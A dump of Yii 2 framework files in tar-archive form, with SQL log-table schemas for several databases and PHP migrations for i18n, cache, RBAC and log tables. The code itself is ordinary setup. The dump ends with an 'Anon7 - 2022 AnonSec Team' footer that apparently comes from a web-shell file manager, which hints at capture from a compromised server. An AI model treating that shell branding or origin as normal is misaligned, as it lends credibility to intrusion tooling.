 * @copyright 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 * @since 2.0.1
 */

drop table if exists `log`;

create table `log`
(
   `id`          bigint(20) NOT NULL AUTO_INCREMENT PRIMARY KEY,
   `level`       integer,
   `category`    varchar(255),
   `log_time`    double,
   `prefix`      text,
   `message`     text,
   key `idx_log_level` (`level`),
   key `idx_log_category` (`category`)
) engine InnoDB;
schema-sqlite.sql000066600000001521151700006270010025 0ustar00/**
 * Database schema required by \yii\log\DbTarget.
 *
 * The indexes declared are not required. They are mainly used to improve the performance
 * of some queries about message levels and categories. Depending on your actual needs, you may
 * want to create additional indexes (e.g. index on `log_time`).
 *
 * @author Alexander Makarov <sam@rmcreative.ru>
 * @link http://www.yiiframework.com/
 * @copyright 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 * @since 2.0.1
 */

drop table if exists "log";

create table "log"
(
   "id"          integer PRIMARY KEY AUTOINCREMENT NOT NULL,
   "level"       integer,
   "category"    varchar(255),
   "log_time"    double,
   "prefix"      text,
   "message"     text
);

create index "idx_log_level" on "log" ("level");
create index "idx_log_category" on "log" ("category");schema-oci.sql000066600000001450151700006270007277 0ustar00/**
 * Database schema required by \yii\log\DbTarget.
 *
 * The indexes declared are not required. They are mainly used to improve the performance
 * of some queries about message levels and categories. Depending on your actual needs, you may
 * want to create additional indexes (e.g. index on `log_time`).
 *
 * @author Alexander Makarov <sam@rmcreative.ru>
 * @link http://www.yiiframework.com/
 * @copyright 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 * @since 2.0.1
 */

drop table if exists "log";

create table "log"
(
   "id"          number(20) NOT NULL PRIMARY KEY,
   "level"       integer,
   "category"    varchar(255),
   "log_time"    number,
   "prefix"      text,
   "message"     text,
   key "idx_log_level" ("level"),
   key "idx_log_category" ("category")
);
m150207_210500_i18n_init.php000066600000003267151700013510010666 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

use yii\db\Migration;

/**
 * Initializes i18n messages tables.
 *
 *
 *
 * @author Dmitry Naumenko <d.naumenko.a@gmail.com>
 * @since 2.0.7
 */
class m150207_210500_i18n_init extends Migration
{
    public function up()
    {
        $tableOptions = null;
        if ($this->db->driverName === 'mysql') {
            // http://stackoverflow.com/questions/766809/whats-the-difference-between-utf8-general-ci-and-utf8-unicode-ci
            $tableOptions = 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB';
        }

        $this->createTable('{{%source_message}}', [
            'id' => $this->primaryKey(),
            'category' => $this->string(),
            'message' => $this->text(),
        ], $tableOptions);

        $this->createTable('{{%message}}', [
            'id' => $this->integer()->notNull(),
            'language' => $this->string(16)->notNull(),
            'translation' => $this->text(),
        ], $tableOptions);

        $this->addPrimaryKey('pk_message_id_language', '{{%message}}', ['id', 'language']);
        $this->addForeignKey('fk_message_source_message', '{{%message}}', 'id', '{{%source_message}}', 'id', 'CASCADE', 'RESTRICT');
        $this->createIndex('idx_source_message_category', '{{%source_message}}', 'category');
        $this->createIndex('idx_message_language', '{{%message}}', 'language');
    }

    public function down()
    {
        $this->dropForeignKey('fk_message_source_message', '{{%message}}');
        $this->dropTable('{{%message}}');
        $this->dropTable('{{%source_message}}');
    }
}
m150909_153426_cache_init.php000066600000003202151700031160011166 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

use yii\base\InvalidConfigException;
use yii\caching\DbCache;
use yii\db\Migration;

/**
 * Initializes Cache tables
 *
 * @author Misbahul D Munir <misbahuldmunir@gmail.com>
 * @since 2.0.7
 */
class m150909_153426_cache_init extends Migration
{

    /**
     * @throws yii\base\InvalidConfigException
     * @return DbCache
     */
    protected function getCache()
    {
        $cache = Yii::$app->getCache();
        if (!$cache instanceof DbCache) {
            throw new InvalidConfigException('You should configure "cache" component to use database before executing this migration.');
        }
        return $cache;
    }

    /**
     * @inheritdoc
     */
    public function up()
    {
        $cache = $this->getCache();
        $this->db = $cache->db;

        $tableOptions = null;
        if ($this->db->driverName === 'mysql') {
            // http://stackoverflow.com/questions/766809/whats-the-difference-between-utf8-general-ci-and-utf8-unicode-ci
            $tableOptions = 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB';
        }

        $this->createTable($cache->cacheTable, [
            'id' => $this->string(128)->notNull(),
            'expire' => $this->integer(),
            'data' => $this->binary(),
            'PRIMARY KEY ([[id]])',
            ], $tableOptions);
    }

    /**
     * @inheritdoc
     */
    public function down()
    {
        $cache = $this->getCache();
        $this->db = $cache->db;

        $this->dropTable($cache->cacheTable);
    }
}
m140506_102106_rbac_init.php000066600000013130151700036010011007 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

use yii\base\InvalidConfigException;
use yii\rbac\DbManager;

/**
 * Initializes RBAC tables
 *
 * @author Alexander Kochetov <creocoder@gmail.com>
 * @since 2.0
 */
class m140506_102106_rbac_init extends \yii\db\Migration
{
    /**
     * @throws yii\base\InvalidConfigException
     * @return DbManager
     */
    protected function getAuthManager()
    {
        $authManager = Yii::$app->getAuthManager();
        if (!$authManager instanceof DbManager) {
            throw new InvalidConfigException('You should configure "authManager" component to use database before executing this migration.');
        }
        return $authManager;
    }

    /**
     * @return bool
     */
    protected function isMSSQL()
    {
        return $this->db->driverName === 'mssql' || $this->db->driverName === 'sqlsrv' || $this->db->driverName === 'dblib';
    }

    /**
     * @inheritdoc
     */
    public function up()
    {
        $authManager = $this->getAuthManager();
        $this->db = $authManager->db;

        $tableOptions = null;
        if ($this->db->driverName === 'mysql') {
            // http://stackoverflow.com/questions/766809/whats-the-difference-between-utf8-general-ci-and-utf8-unicode-ci
            $tableOptions = 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB';
        }

        $this->createTable($authManager->ruleTable, [
            'name' => $this->string(64)->notNull(),
            'data' => $this->text(),
            'created_at' => $this->integer(),
            'updated_at' => $this->integer(),
            'PRIMARY KEY (name)',
        ], $tableOptions);

        $this->createTable($authManager->itemTable, [
            'name' => $this->string(64)->notNull(),
            'type' => $this->integer()->notNull(),
            'description' => $this->text(),
            'rule_name' => $this->string(64),
            'data' => $this->text(),
            'created_at' => $this->integer(),
            'updated_at' => $this->integer(),
            'PRIMARY KEY (name)',
            'FOREIGN KEY (rule_name) REFERENCES ' . $authManager->ruleTable . ' (name)'.
                ($this->isMSSQL() ? '' : ' ON DELETE SET NULL ON UPDATE CASCADE'),
        ], $tableOptions);
        $this->createIndex('idx-auth_item-type', $authManager->itemTable, 'type');

        $this->createTable($authManager->itemChildTable, [
            'parent' => $this->string(64)->notNull(),
            'child' => $this->string(64)->notNull(),
            'PRIMARY KEY (parent, child)',
            'FOREIGN KEY (parent) REFERENCES ' . $authManager->itemTable . ' (name)'.
                ($this->isMSSQL() ? '' : ' ON DELETE CASCADE ON UPDATE CASCADE'),
            'FOREIGN KEY (child) REFERENCES ' . $authManager->itemTable . ' (name)'.
                ($this->isMSSQL() ? '' : ' ON DELETE CASCADE ON UPDATE CASCADE'),
        ], $tableOptions);

        $this->createTable($authManager->assignmentTable, [
            'item_name' => $this->string(64)->notNull(),
            'user_id' => $this->string(64)->notNull(),
            'created_at' => $this->integer(),
            'PRIMARY KEY (item_name, user_id)',
            'FOREIGN KEY (item_name) REFERENCES ' . $authManager->itemTable . ' (name) ON DELETE CASCADE ON UPDATE CASCADE',
        ], $tableOptions);

        if ($this->isMSSQL()) {
            $this->execute("CREATE TRIGGER dbo.trigger_auth_item_child
            ON dbo.{$authManager->itemTable}
            INSTEAD OF DELETE, UPDATE
            AS
            DECLARE @old_name VARCHAR (64) = (SELECT name FROM deleted)
            DECLARE @new_name VARCHAR (64) = (SELECT name FROM inserted)
            BEGIN
            IF COLUMNS_UPDATED() > 0
                BEGIN
                    IF @old_name <> @new_name
                    BEGIN
                        ALTER TABLE auth_item_child NOCHECK CONSTRAINT FK__auth_item__child;
                        UPDATE auth_item_child SET child = @new_name WHERE child = @old_name;
                    END
                UPDATE auth_item
                SET name = (SELECT name FROM inserted),
                type = (SELECT type FROM inserted),
                description = (SELECT description FROM inserted),
                rule_name = (SELECT rule_name FROM inserted),
                data = (SELECT data FROM inserted),
                created_at = (SELECT created_at FROM inserted),
                updated_at = (SELECT updated_at FROM inserted)
                WHERE name IN (SELECT name FROM deleted)
                IF @old_name <> @new_name
                    BEGIN
                        ALTER TABLE auth_item_child CHECK CONSTRAINT FK__auth_item__child;
                    END
                END
                ELSE
                    BEGIN
                        DELETE FROM dbo.{$authManager->itemChildTable} WHERE parent IN (SELECT name FROM deleted) OR child IN (SELECT name FROM deleted);
                        DELETE FROM dbo.{$authManager->itemTable} WHERE name IN (SELECT name FROM deleted);
                    END
            END;");
        }
    }

    /**
     * @inheritdoc
     */
    public function down()
    {
        $authManager = $this->getAuthManager();
        $this->db = $authManager->db;

        if ($this->isMSSQL()) {
            $this->execute('DROP TRIGGER dbo.trigger_auth_item_child;');
        }

        $this->dropTable($authManager->assignmentTable);
        $this->dropTable($authManager->itemChildTable);
        $this->dropTable($authManager->itemTable);
        $this->dropTable($authManager->ruleTable);
    }
}m141106_185632_log_init.php000066600000005034151703405510010711 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

use yii\base\InvalidConfigException;
use yii\db\Migration;
use yii\log\DbTarget;

/**
 * Initializes log table.
 *
 * The indexes declared are not required. They are mainly used to improve the performance
 * of some queries about message levels and categories. Depending on your actual needs, you may
 * want to create additional indexes (e.g. index on `log_time`).
 *
 * @author Alexander Makarov <sam@rmcreative.ru>
 * @since 2.0.1
 */
class m141106_185632_log_init extends Migration
{
    /**
     * @var DbTarget[]
     */
    private $dbTargets = [];

    /**
     * @throws InvalidConfigException
     * @return DbTarget[]
     */
    protected function getDbTargets()
    {
        if ($this->dbTargets === []) {
            $log = Yii::$app->getLog();

            foreach ($log->targets as $target) {
                if ($target instanceof DbTarget) {
                    $this->dbTargets[] = $target;
                }
            }

            if ($this->dbTargets === []) {
                throw new InvalidConfigException('You should configure "log" component to use one or more database targets before executing this migration.');
            }
        }
        return $this->dbTargets;
    }

    public function up()
    {
        $targets = $this->getDbTargets();
        foreach ($targets as $target) {
            $this->db = $target->db;

            $tableOptions = null;
            if ($this->db->driverName === 'mysql') {
                // http://stackoverflow.com/questions/766809/whats-the-difference-between-utf8-general-ci-and-utf8-unicode-ci
                $tableOptions = 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB';
            }

            $this->createTable($target->logTable, [
                'id' => $this->bigPrimaryKey(),
                'level' => $this->integer(),
                'category' => $this->string(),
                'log_time' => $this->double(),
                'prefix' => $this->text(),
                'message' => $this->text(),
            ], $tableOptions);

            $this->createIndex('idx_log_level', $target->logTable, 'level');
            $this->createIndex('idx_log_category', $target->logTable, 'category');
        }
    }

    public function down()
    {
        $targets = $this->getDbTargets();
        foreach ($targets as $target) {
            $this->db = $target->db;

            $this->dropTable($target->logTable);
        }
    }
}

Anon7 - 2022
AnonSec Team